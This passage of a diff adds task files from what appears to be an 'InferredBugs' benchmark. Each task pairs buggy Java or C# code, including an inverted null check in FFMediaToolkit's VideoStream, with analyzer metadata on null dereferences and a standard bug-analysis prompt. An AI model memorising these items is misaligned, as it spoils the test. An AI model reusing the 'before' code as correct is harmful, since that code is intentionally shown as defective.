+    // Cleanup
+    TestHelper.resetDatabaseSync();
+  }
+
+  @Test
+  public void testStoreFileInput() throws EntityStorageException, InputValidationException {
+    // Setup
+    TestHelper.resetDatabaseSync();
+
+    BasePage parent = new BasePage();
+    InputConfigurationPage page = new InputConfigurationPage(parent);
+    page.setErrorReceiver(new TabWrapper());
+
+    page.fileInputField.setFileName("file_name");
+    page.tableInputFieldSelected = false;
+    page.dbFieldSelected = false;
+    page.fileInputFieldSelected = true;
+    page.content.clear();
+    page.content.add(page.fileInputField);
+
+    // Execute
+    page.saveObject();
+
+    // Expected values
+    FileInput expectedInput = page.fileInputField.getValue();
+
+    // Check result
+    assertTrue(TestHelper.getAllFileInputs().contains(expectedInput));
+
+    // Cleanup
+    TestHelper.resetDatabaseSync();
+  }
+
+  @Test
+  public void testStoreDatabaseConnection() throws EntityStorageException, InputValidationException {
+    // Setup
+    TestHelper.resetDatabaseSync();
+
+    BasePage parent = new BasePage();
+    InputConfigurationPage page = new InputConfigurationPage(parent);
+    page.setErrorReceiver(new TabWrapper());
+
+    page.dbField.setValues("url", "user", "password");
+    page.tableInputFieldSelected = false;
+    page.dbFieldSelected = true;
+    page.fileInputFieldSelected = false;
+    page.content.clear();
+    page.content.add(page.dbField);
+
+    // Execute
+    page.saveObject();
+
+    // Expected values
+    DatabaseConnection expectedInput = page.dbField.getValue();
+
+    // Check result
+    assertTrue(TestHelper.getAllDatabaseConnections().contains(expectedInput));
+
+    // Cleanup
+    TestHelper.resetDatabaseSync();
+  }
+
+  @Override
+  public String getModuleName() {
+    return "de.uni_potsdam.hpi.metanome.frontend.MetanomeTest";
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `page.tableInputField.errorReceiver` last assigned on line 41 could be null and is dereferenced by call to `getValue()` at line 62.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GwtTestInputConfigurationPage.testStoreTableInput()
+
+### Procedure Id:
+de.uni_potsdam.hpi.metanome.frontend.client.configuration.GwtTestInputConfigurationPage.testStoreTab.2c2c534bbd8d66edd1afb718f83fab53
+
+### File:
+frontend/src/test/java/de/uni_potsdam/hpi/metanome/frontend/client/configuration/GwtTestInputConfigurationPage.java
+
+### Key:
+GwtTestInputConfigurationPage.java|testStoreTableInput|NULL_DEREFERENCE
+
+### Node Key:
+a5c9e9b99e64f18e294ab36daf952053
+
+### Hash:
+66520a50ef2d042a7024f347b02c8447
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1087/instruction.md b/inferredbugs-1087/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ad0daf46d1dc0949f3a8fdf340ddfc41e34283ae
--- /dev/null
+++ b/inferredbugs-1087/instruction.md
@@ -0,0 +1,174 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** FFMediaToolkit
+**Bug ID:** 6
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+namespace FFMediaToolkit.Common
+{
+    using System;
+    using FFMediaToolkit.Decoding;
+    using FFMediaToolkit.Encoding;
+    using FFMediaToolkit.Graphics;
+    using FFMediaToolkit.Helpers;
+    using FFmpeg.AutoGen;
+
+    /// <summary>
+    /// Represents a FFmpeg video stream.
+    /// </summary>
+    public unsafe class VideoStream : MediaStream<VideoFrame>
+    {
+        private VideoStream(AVStream* stream, AVCodecContext* codec, MediaContainer container, Layout frameLayout)
+            : base(stream, codec, container) => FrameLayout = frameLayout;
+
+        /// <summary>
+        /// Gets the dimensions of video frames.
+        /// </summary>
+        public Layout FrameLayout { get; }
+
+        /// <inheritdoc/>
+        public override MediaType Type => MediaType.Video;
+
+        /// <summary>
+        /// Opens the video stream with the specified index in the media container.
+        /// </summary>
+        /// <param name="container">The media container.</param>
+        /// <param name="index">The video stream index.</param>
+        /// <param name="options">The media options.</param>
+        /// <returns>The opened <see cref="VideoStream"/>.</returns>
+        internal static VideoStream Open(MediaContainer container, int index, MediaOptions options)
+        {
+            if (container.Access != MediaAccess.WriteInit)
+                throw new InvalidOperationException("The Media container must be in Read acces mode");
+
+            var format = container.FormatContextPointer;
+            var stream = format->streams[index];
+
+            var codecContext = ffmpeg.avcodec_alloc_context3(null);
+            ffmpeg.avcodec_parameters_to_context(codecContext, stream->codecpar)
+                .CatchAll("Cannot create codec parameters.");
+
+            codecContext->pkt_timebase = stream->time_base;
+            var codec = ffmpeg.avcodec_find_decoder(stream->codec->codec_id);
+
+            if (codec == null)
+                throw new InvalidOperationException("Cannot find a codec for this stream.");
+
+            var dict = options.DecoderOptions.Pointer;
+
+            ffmpeg.avcodec_open2(codecContext, codec, &dict)
+                .CatchAll("Cannot open the video codec");
+
+            options.DecoderOptions.Update(dict);
+
+            var layout = new Layout(codecContext->pix_fmt, codecContext->width, codecContext->height);
+
+            return new VideoStream(stream, codecContext, container, layout);
+        }
+
+        /// <summary>
+        /// Creates a new video stream in the specified format context.
+        /// </summary>
+        /// <param name="container">A output file format context.</param>
+        /// <param name="config">A <see cref="VideoEncoderSettings"/> object containing the configuration of the video stream.</param>
+        /// <returns>Video stream added to the file.</returns>
+        internal static VideoStream CreateNew(MediaContainer container, VideoEncoderSettings config)
+        {
+            if (container.Access != MediaAccess.WriteInit)
+                throw new InvalidOperationException("The Media container must be in WriteInit acces mode");
+
+            var codecId = config.Codec ?? container.FormatContextPointer->oformat->video_codec;
+
+            if (codecId == AVCodecID.AV_CODEC_ID_NONE)
+                throw new InvalidOperationException("The media container doesn't support video!");
+
+            var codec = ffmpeg.avcodec_find_encoder(codecId);
+
+            if (codec != null)
+                throw new InvalidOperationException($"Cannot find an encoder with the {codecId}!");
+
+            if (codec->type != AVMediaType.AVMEDIA_TYPE_VIDEO)
+                throw new InvalidOperationException($"The {codecId} encoder doesn't support video!");
+
+            var videoStream = ffmpeg.avformat_new_stream(container.FormatContextPointer, codec);
+            var codecContext = videoStream->codec;
+            codecContext->codec_id = codecId;
+            codecContext->codec_type = AVMediaType.AVMEDIA_TYPE_VIDEO;
+
+            codecContext->bit_rate = config.Bitrate;
+            codecContext->width = config.VideoWidth;
+            codecContext->height = config.VideoHeight;
+
+            codecContext->time_base.den = config.Framerate;
+            codecContext->time_base.num = 1;
+            codecContext->gop_size = config.KeyframeRate;
+            codecContext->pix_fmt = (AVPixelFormat)config.VideoPixelFormat;
+
+            if ((container.FormatContextPointer->oformat->flags & ffmpeg.AVFMT_GLOBALHEADER) != 0)
+            {
+                codecContext->flags |= ffmpeg.AV_CODEC_FLAG_GLOBAL_HEADER;
+            }
+
+            var dict = config.CodecOptions.Pointer;
+            ffmpeg.avcodec_open2(codecContext, codec, &dict);
+
+            return new VideoStream(videoStream, codecContext, container, config.ToLayout());
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `codec` last assigned on line 79 could be null and is dereferenced at line 84, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+VideoStream VideoStream.CreateNew(MediaContainer,VideoEncoderSettings)
+
+### File:
+FFMediaToolkit/src/Common/VideoStream.cs
+
+### Key:
+VideoStream.cs|CreateNew|NULL_DEREFERENCE
+
+### Node Key:
+8d5f1125c284cc8edea80f20a24e0d89
+
+### Hash:
+8258365bd8206c048d0dd061f62486e0
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10873/instruction.md b/inferredbugs-10873/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fcacc44855dedcbb87e64ce123e40ac067df4032
--- /dev/null
+++ b/inferredbugs-10873/instruction.md
@@ -0,0 +1,2410 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rxjava2-jdbc
+**Bug ID:** 51
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.davidmoten.rx.jdbc;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.Reader;
+import java.sql.Blob;
+import java.sql.Clob;
+import java.sql.Connection;
+import java.sql.SQLException;
+import java.sql.SQLSyntaxErrorException;
+import java.sql.Time;
+import java.sql.Timestamp;
+import java.time.Instant;
+import java.time.ZoneOffset;
+import java.time.ZonedDateTime;
+import java.util.Arrays;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.GregorianCalendar;
+import java.util.List;
+import java.util.Optional;
+import java.util.concurrent.CopyOnWriteArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import org.apache.log4j.Level;
+import org.apache.log4j.LogManager;
+import org.davidmoten.rx.jdbc.annotations.Column;
+import org.davidmoten.rx.jdbc.annotations.Index;
+import org.davidmoten.rx.jdbc.annotations.Query;
+import org.davidmoten.rx.jdbc.exceptions.AnnotationsNotFoundException;
+import org.davidmoten.rx.jdbc.exceptions.AutomappedInterfaceInaccessibleException;
+import org.davidmoten.rx.jdbc.exceptions.ColumnIndexOutOfRangeException;
+import org.davidmoten.rx.jdbc.exceptions.ColumnNotFoundException;
+import org.davidmoten.rx.jdbc.exceptions.MoreColumnsRequestedThanExistException;
+import org.davidmoten.rx.jdbc.exceptions.NamedParameterFoundButSqlDoesNotHaveNamesException;
+import org.davidmoten.rx.jdbc.exceptions.NamedParameterMissingException;
+import org.davidmoten.rx.jdbc.exceptions.QueryAnnotationMissingException;
+import org.davidmoten.rx.jdbc.pool.DatabaseCreator;
+import org.davidmoten.rx.jdbc.pool.NonBlockingConnectionPool;
+import org.davidmoten.rx.jdbc.pool.Pools;
+import org.davidmoten.rx.jdbc.tuple.Tuple2;
+import org.davidmoten.rx.jdbc.tuple.Tuple3;
+import org.davidmoten.rx.jdbc.tuple.Tuple4;
+import org.davidmoten.rx.jdbc.tuple.Tuple5;
+import org.davidmoten.rx.jdbc.tuple.Tuple6;
+import org.davidmoten.rx.jdbc.tuple.Tuple7;
+import org.davidmoten.rx.jdbc.tuple.TupleN;
+import org.davidmoten.rx.pool.PoolClosedException;
+import org.h2.jdbc.JdbcSQLException;
+import org.hsqldb.jdbc.JDBCBlobFile;
+import org.hsqldb.jdbc.JDBCClobFile;
+import org.junit.Assert;
+import org.junit.FixMethodOrder;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runners.MethodSorters;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.github.davidmoten.guavamini.Lists;
+
+import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import io.reactivex.Completable;
+import io.reactivex.Flowable;
+import io.reactivex.Observable;
+import io.reactivex.Scheduler;
+import io.reactivex.Single;
+import io.reactivex.functions.Predicate;
+import io.reactivex.schedulers.Schedulers;
+import io.reactivex.schedulers.TestScheduler;
+import io.reactivex.subscribers.TestSubscriber;
+
+@FixMethodOrder(MethodSorters.NAME_ASCENDING)
+public class DatabaseTest {
+
+    private static final long FRED_REGISTERED_TIME = 1442515672690L;
+    private static final int NAMES_COUNT_BIG = 5163;
+    private static final Logger log = LoggerFactory.getLogger(DatabaseTest.class);
+    private static final int TIMEOUT_SECONDS = 2;
+
+    private static Database db() {
+        return DatabaseCreator.create(1);
+    }
+
+    private static Database blocking() {
+        return DatabaseCreator.createBlocking();
+    }
+
+    private static Database db(int poolSize) {
+        return DatabaseCreator.create(poolSize);
+    }
+
+    private static Database big(int poolSize) {
+        return DatabaseCreator.create(poolSize, true, Schedulers.computation());
+    }
+
+    @Test
+    public void testSelectUsingQuestionMark() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingNamedParameterList() {
+        try (Database db = db()) {
+            db.select("select score from person where name=:name") //
+                    .parameters(Parameter.named("name", "FRED").value("JOSEPH").list()) //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParameters() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameterStream(Flowable.just("FRED", "JOSEPH")) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParametersInLists() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameterListStream(
+                            Flowable.just(Arrays.asList("FRED"), Arrays.asList("JOSEPH"))) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testDrivingSelectWithoutParametersUsingParameterStream() {
+        try (Database db = db()) {
+            db.select("select count(*) from person") //
+                    .parameters(1, 2, 3) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValues(3, 3, 3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParametersTwoParametersPerQuery() {
+        try (Database db = db()) {
+            db.select("select score from person where name=? and score = ?") //
+                    .parameterStream(Flowable.just("FRED", 21, "JOSEPH", 34)) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParameterListsTwoParametersPerQuery() {
+        try (Database db = db()) {
+            db.select("select score from person where name=? and score = ?") //
+                    .parameterListStream(
+                            Flowable.just(Arrays.asList("FRED", 21), Arrays.asList("JOSEPH", 34))) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkWithPublicTestingDatabase() {
+        try (Database db = Database.test()) {
+            db //
+                    .select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectWithFetchSize() {
+        try (Database db = db()) {
+            db.select("select score from person order by name") //
+                    .fetchSize(2) //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34, 25) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectWithFetchSizeZero() {
+        try (Database db = db()) {
+            db.select("select score from person order by name") //
+                    .fetchSize(0) //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34, 25) //
+                    .assertComplete();
+        }
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testSelectWithFetchSizeNegative() {
+        try (Database db = db()) {
+            db.select("select score from person order by name") //
+                    .fetchSize(-1);
+        }
+    }
+
+    @Test
+    public void testSelectUsingNonBlockingBuilder() {
+        NonBlockingConnectionPool pool = Pools //
+                .nonBlocking() //
+                .connectionProvider(DatabaseCreator.connectionProvider()) //
+                .maxIdleTime(1, TimeUnit.MINUTES) //
+                .idleTimeBeforeHealthCheck(1, TimeUnit.MINUTES) //
+                .checkoutRetryInterval(1, TimeUnit.SECONDS) //
+                .healthy(c -> c.prepareStatement("select 1").execute()) //
+                .returnToPoolDelayAfterHealthCheckFailure(1, TimeUnit.SECONDS) //
+                .maxPoolSize(3) //
+                .build();
+
+        try (Database db = Database.from(pool)) {
+            db.select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test(timeout = 40000)
+    public void testSelectUsingNonBlockingBuilderConcurrencyTest()
+            throws InterruptedException, TimeoutException {
+        info();
+        try {
+            try (Database db = db(3)) {
+                Scheduler scheduler = Schedulers.from(Executors.newFixedThreadPool(50));
+                int n = 10000;
+                CountDownLatch latch = new CountDownLatch(n);
+                AtomicInteger count = new AtomicInteger();
+                for (int i = 0; i < n; i++) {
+                    db.select("select score from person where name=?") //
+                            .parameters("FRED", "JOSEPH") //
+                            .getAs(Integer.class) //
+                            .subscribeOn(scheduler) //
+                            .toList() //
+                            .doOnSuccess(x -> {
+                                if (!x.equals(Lists.newArrayList(21, 34))) {
+                                    throw new RuntimeException("run broken");
+                                } else {
+                                    // log.debug(iCopy + " succeeded");
+                                }
+                            }) //
+                            .doOnSuccess(x -> {
+                                count.incrementAndGet();
+                                latch.countDown();
+                            }) //
+                            .doOnError(x -> latch.countDown()) //
+                            .subscribe();
+                }
+                if (!latch.await(20, TimeUnit.SECONDS)) {
+                    throw new TimeoutException("timeout");
+                }
+                assertEquals(n, count.get());
+            }
+        } finally {
+            debug();
+        }
+    }
+
+    @Test(timeout = 5000)
+    public void testSelectConcurrencyTest() throws InterruptedException, TimeoutException {
+        debug();
+        try {
+            try (Database db = db(1)) {
+                Scheduler scheduler = Schedulers.from(Executors.newFixedThreadPool(2));
+                int n = 2;
+                CountDownLatch latch = new CountDownLatch(n);
+                AtomicInteger count = new AtomicInteger();
+                for (int i = 0; i < n; i++) {
+                    db.select("select score from person where name=?") //
+                            .parameters("FRED", "JOSEPH") //
+                            .getAs(Integer.class) //
+                            .subscribeOn(scheduler) //
+                            .toList() //
+                            .doOnSuccess(x -> {
+                                if (!x.equals(Lists.newArrayList(21, 34))) {
+                                    throw new RuntimeException("run broken");
+                                }
+                            }) //
+                            .doOnSuccess(x -> {
+                                count.incrementAndGet();
+                                latch.countDown();
+                            }) //
+                            .doOnError(x -> latch.countDown()) //
+                            .subscribe();
+                    log.info("submitted " + i);
+                }
+                if (!latch.await(5000, TimeUnit.SECONDS)) {
+                    throw new TimeoutException("timeout");
+                }
+                assertEquals(n, count.get());
+            }
+        } finally {
+            debug();
+        }
+    }
+
+    @Test
+    public void testDatabaseClose() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingName() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=:name") //
+                    .parameter("name", "FRED") //
+                    .parameter("name", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingNameNotGiven() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=:name and name<>:name2") //
+                    .parameter("name", "FRED") //
+                    .parameter("name", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertError(NamedParameterMissingException.class) //
+                    .assertNoValues();
+        }
+    }
+
+    @Test
+    public void testSelectUsingParameterNameNullNameWhenSqlHasNoNames() {
+        db() //
+                .select("select score from person where name=?") //
+                .parameter(Parameter.create("name", "FRED")) //
+                .getAs(Integer.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertError(NamedParameterFoundButSqlDoesNotHaveNamesException.class) //
+                .assertNoValues();
+    }
+
+    @Test
+    public void testUpdateWithNull() {
+        try (Database db = db()) {
+            db //
+                    .update("update person set date_of_birth = :dob") //
+                    .parameter(Parameter.create("dob", null)) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateClobWithNull() {
+        try (Database db = db()) {
+            insertNullClob(db);
+            db //
+                    .update("update person_clob set document = :doc") //
+                    .parameter("doc", Database.NULL_CLOB) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateClobWithClob() throws SQLException {
+        try (Database db = db()) {
+            Clob clob = new JDBCClobFile(new File("src/test/resources/big.txt"));
+            insertNullClob(db);
+            db //
+                    .update("update person_clob set document = :doc") //
+                    .parameter("doc", clob) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateClobWithReader() throws FileNotFoundException {
+        try (Database db = db()) {
+            Reader reader = new FileReader(new File("src/test/resources/big.txt"));
+            insertNullClob(db);
+            db //
+                    .update("update person_clob set document = :doc") //
+                    .parameter("doc", reader) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateBlobWithBlob() throws SQLException {
+        try (Database db = db()) {
+            Blob blob = new JDBCBlobFile(new File("src/test/resources/big.txt"));
+            insertPersonBlob(db);
+            db //
+                    .update("update person_blob set document = :doc") //
+                    .parameter("doc", blob) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateBlobWithNull() {
+        try (Database db = db()) {
+            insertPersonBlob(db);
+            db //
+                    .update("update person_blob set document = :doc") //
+                    .parameter("doc", Database.NULL_BLOB) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testSelectUsingNullNameInParameter() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=:name") //
+                    .parameter(null, "FRED"); //
+        }
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testSelectUsingNameDoesNotExist() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=:name") //
+                    .parameters("nam", "FRED");
+        }
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testSelectUsingNameWithoutSpecifyingNameThrowsImmediately() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=:name") //
+                    .parameters("FRED", "JOSEPH");
+        }
+    }
+
+    @Test
+    public void testSelectTransacted() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .transacted() //
+                    .getAs(Integer.class) //
+                    .doOnNext(tx -> log
+                            .debug(tx.isComplete() ? "complete" : String.valueOf(tx.value()))) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectAutomappedAnnotatedTransacted() {
+        try (Database db = db()) {
+            db //
+                    .select(Person10.class) //
+                    .transacted() //
+                    .valuesOnly() //
+                    .get().test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectAutomappedTransactedValuesOnly() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score from person") //
+                    .transacted() //
+                    .valuesOnly() //
+                    .autoMap(Person2.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectAutomappedTransacted() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score from person") //
+                    .transacted() //
+                    .autoMap(Person2.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(4) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectTransactedTuple2() {
+        try (Database db = db()) {
+            Tx<Tuple2<String, Integer>> t = db //
+                    .select("select name, score from person where name=?") //
+                    .parameters("FRED") //
+                    .transacted() //
+                    .getAs(String.class, Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(2) //
+                    .assertComplete() //
+                    .values().get(0);
+            assertEquals("FRED", t.value()._1());
+            assertEquals(21, (int) t.value()._2());
+        }
+    }
+
+    @Test
+    public void testSelectTransactedTuple3() {
+        try (Database db = db()) {
+            Tx<Tuple3<String, Integer, String>> t = db //
+                    .select("select name, score, name from person where name=?") //
+                    .parameters("FRED") //
+                    .transacted() //
+                    .getAs(String.class, Integer.class, String.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(2) //
+                    .assertComplete() //
+                    .values().get(0);
+            assertEquals("FRED", t.value()._1());
+            assertEquals(21, (int) t.value()._2());
+            assertEquals("FRED", t.value()._3());
+        }
+    }
+
+    @Test
+    public void testSelectTransactedTuple4() {
+        try (Database db = db()) {
+            Tx<Tuple4<String, Integer, String, Integer>> t = db //
+                    .select("select name, score, name, score from person where name=?") //
+                    .parameters("FRED") //
+                    .transacted() //
+                    .getAs(String.class, Integer.class, String.class, Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(2) //
+                    .assertComplete() //
+                    .values().get(0);
+            assertEquals("FRED", t.value()._1());
+            assertEquals(21, (int) t.value()._2());
+            assertEquals("FRED", t.value()._3());
+            assertEquals(21, (int) t.value()._4());
+        }
+    }
+
+    @Test
+    public void testSelectTransactedTuple5() {
+        try (Database db = db()) {
+            Tx<Tuple5<String, Integer, String, Integer, String>> t = db //
+                    .select("select name, score, name, score, name from person where name=?") //
+                    .parameters("FRED") //
+                    .transacted() //
+                    .getAs(String.class, Integer.class, String.class, Integer.class, String.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(2) //
+                    .assertComplete() //
+                    .values().get(0);
+            assertEquals("FRED", t.value()._1());
+            assertEquals(21, (int) t.value()._2());
+            assertEquals("FRED", t.value()._3());
+            assertEquals(21, (int) t.value()._4());
+            assertEquals("FRED", t.value()._5());
+        }
+    }
+
+    @Test
+    public void testSelectTransactedTuple6() {
+        try (Database db = db()) {
+            Tx<Tuple6<String, Integer, String, Integer, String, Integer>> t = db //
